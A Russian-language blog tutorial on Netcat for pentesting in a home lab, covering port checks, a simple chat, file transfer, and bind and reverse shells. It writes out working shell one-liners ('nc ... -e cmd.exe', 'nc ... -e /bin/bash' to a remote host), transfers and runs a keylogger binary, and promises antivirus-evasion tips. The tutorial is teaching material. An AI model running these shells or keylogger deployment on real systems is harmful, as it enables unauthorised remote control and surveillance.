Друзья, приветствую всех вас! В этой статье мы поговорим о том, что такое Netcat, и используем его для реализации Bind и Reverse Shell соответственно.
Неткэт
Netcat, впервые выпущенный в 1995 году (!), является одним из «оригинальных» инструментов тестирования на проникновение в сеть.Netcat настолько универсален, что полностью оправдывает авторское прозвище хакера «Швейцарский армейский нож».
Наиболее четкое определение Netcat дают сами разработчики: «простая утилита, считывающая и записывающая данные через сетевые соединения по протоколам TCP или UDP».
Подключение к порту TCP/UDP
Как следует из описания, Netcat может работать как в клиентском, так и в серверном режиме.Во-первых, давайте посмотрим на клиентский режим.
Мы можем использовать клиентский режим для подключения к любому порту TCP/UDP, что позволяет нам: Проверить, открыт ли порт или закрыт, или подключиться к сетевой службе.
Начнем с использования Netcat (nc), чтобы проверить, открыт ли порт 80 на тестируемой машине ( В качестве тестовой машины мы будем использовать основную машину, на которой установлена ВМ!!! ).
Мы добавим несколько аргументов: параметр -n для отключения поиска DNS и номеров портов в /etc/services; -v для отображения информации о рабочем процессе; IP-адрес получателя; и номер порта назначения: P.S. Чтобы узнать IP-адрес основного компьютера, запустите команду ipconfig в командной строке, если у вас основной компьютер с Windows, и ifconfig, если у вас Linux или MacOS.
Возвращаясь к Кали: kali@kali:~$ nc -nv 192.168.0.178 80
TCP-соединение с 192.168.0.178 прошло успешно, поэтому Netcat сообщает, что удаленный порт открыт.
Прослушивание портов TCP/UDP
Прослушивание порта TCP/UDP с помощью Netcat полезно для сетевой отладки клиентских приложений или получения сетевого подключения TCP/UDP. Давайте попробуем реализовать простой сервис чата для двух компьютеров, используя Netcat и в качестве клиента, и в качестве сервера.
На компьютере Windows с IP-адресом 192.168.0.178 Netcat был настроен на прослушивание входящих подключений через TCP-порт 4444. Мы будем использовать опцию -n для отключения DNS, -l для создания прослушивателя, опции -v и -p для указания номер порта прослушивания: C:\Program Files\nc111nt> nc -nlvp 4444
P.S. Вы можете скачать Netcat для Windows здесь.
Теперь давайте подключимся к этому порту с нашей машины с Linux: kali@kali:~$ nc -nv 192.168.0.178 4444
И мы что-нибудь напишем.
Например «Привет».
Наш текст будет отправлен на компьютер с Windows через TCP-порт 4444:
Мы можем продолжить чат с компьютера под управлением Windows:
Хотя этот пример не очень интересен, он демонстрирует несколько важных особенностей Netcat. Прежде чем продолжить, попытайтесь ответить на такие важные вопросы, как: Какая машина служила сервером Netcat? Какая машина выступала в качестве клиента Netcat? На какой машине был открыт порт 4444? В чем разница в синтаксисе командной строки между клиентом и сервером?
Передача файлов с помощью Netcat
Netcat также можно использовать для передачи файлов, как текстовых, так и двоичных, с одного компьютера на другой.Чтобы отправить файл с нашей виртуальной машины Kali в систему Windows, мы инициируем настройку, аналогичную предыдущему примеру чата, с некоторыми небольшими отличиями.
На компьютере с Windows мы установим прослушиватель Netcat на порт 4444 и перенаправим вывод в файл с именем incoming.exe: C:\Program Files\nc111nt> nc -nlvp 4444 > incoming.exe
В системе Kali мы перенесем файл klogger.exe на компьютер с Windows через TCP-порт 4444: kali@kali:~$ nc -nv 192.168.0.178 4444 < /usr/share/windows-resources/binaries/klogger.exe
Обратите внимание, что мы не получили никаких отзывов от Netcat о ходе загрузки файла.
Мы можем просто подождать несколько секунд, а затем проверить, полностью ли загружен файл.
Файл полностью скачан на машину с Windows, попробуем его запустить: C:\Program Files\nc111nt> incoming.exe -h
Как видите, перенос и запуск файла klogger.exe завершился успешно! P.S. В одном из уроков я расскажу, как запретить антивирусу «обнаруживать» файлы и исполняемые модули.
А пока идем дальше.
Удаленное администрирование с помощью Netcat
Одной из наиболее полезных функций Netcat является возможность перенаправления команд. Традиционная версия netcat (версия Netcat, скомпилированная с флагом «-DGAPING_SECURITY_HOLE») включает опцию -e, которая запускает программу после установления или получения успешного соединения.Эта мощная функция предлагает интересные возможности с точки зрения безопасности и поэтому недоступна в большинстве современных систем Linux/BSD. Однако, поскольку Kali Linux является дистрибутивом для тестирования на проникновение, версия Netcat, включенная в Kali, поддерживает опцию -e. Если этот параметр включен, этот параметр может перенаправлять ввод и вывод исполняемого файла, а также сообщения об ошибках на порт TCP/UDP, а не на консоль по умолчанию.
Например, рассмотрим исполняемый файл cmd.exe. Мы можем привязать cmd.exe к локальному порту и перенаправить STDIN, STDOUT и STDERR в сеть.
Давайте рассмотрим несколько сценариев:
Скрипт Netcat Bind Shell
В нашем первом сценарии Миша (под управлением Windows) обратился за помощью к Кате (под управлением Linux) и попросил ее подключиться к его компьютеру и удаленно выполнить некоторые команды.У Миши публичный IP-адрес, и он напрямую подключен к Интернету.
Катя же стоит за NAT и имеет внутренний IP-адрес.
Мише нужно привязать cmd.exe к TCP-порту своего публичного IP-адреса и попросить Катю подключиться к его конкретному IP-адресу и порту.
Миша запустит Netcat с параметром -e для выполнения cmd.exe: C:\Program Files\nc111nt> nc -nlvp 4444 -e cmd.exe
Netcat теперь связал TCP-порт 4444 с cmd.exe и будет пересылать любые входные и выходные сообщения или сообщения об ошибках из cmd.exe в сеть.
Другими словами, любой, кто подключится к TCP-порту 4444 на машине Миши (надеюсь, Катя), увидит командную строку Миши.
Это действительно «зияющая дыра в безопасности»! kali@kali:~$ nc -nv 192.168.0.178 4444
Как мы видим, все работает так, как ожидалось.
На следующем изображении показан этот сценарий:
Обратный сценарий оболочки
Во втором сценарии Кате нужна помощь Миши.В этом сценарии мы можем использовать еще одну полезную функцию Netcat — возможность отправлять команды хосту, прослушивающему определенный порт. В этой ситуации Катя не может (согласно скрипту) привязать порт 4444 для /bin/bash локально (bindshell) на своем компьютере и ждать подключения Миши, но может передать управление своим bash на компьютер Миши.
Это называется обратной оболочкой.
Чтобы все заработало, Миша сначала настроит Netcat на прослушивание.
В нашем примере мы будем использовать порт 4444: C:\Program Files\nc111nt> nc -nlvp 4444
Теперь Катя может отправить Мише обратный шелл со своей Linux-машины.
Еще раз мы используем опцию -e, чтобы сделать приложение доступным удаленно, в данном случае это /bin/bash, оболочка Linux: kali@kali:~$ nc -nv 192.168.0.178 4444 -e /bin/bash
Как только соединение будет установлено, Netcat Кати перенаправит входные и выходные данные /bin/bash и данные об ошибках на компьютер Миши, на порт 4444, и Миша сможет взаимодействовать с этой оболочкой:
На следующем изображении показан сценарий обратной оболочки, в котором Миша получает удаленный доступ к оболочке на машине Кати, минуя корпоративный брандмауэр:
Всем спасибо за внимание! :) Подпишитесь на меня в социальных сетях.
сети , буду рада всех видеть! Теги: #информационная безопасность #кибербезопасность #Системное администрирование #хакеры #удалённое управление #удалённое администрирование #пентест #netcat #обратный #этический взлом #bindshell
-
Креативный Мак. Старая Жизнь С Новым Лицом!
19 Oct, 24 -
9 Правил Начинающего Ajax-Разработчика
19 Oct, 24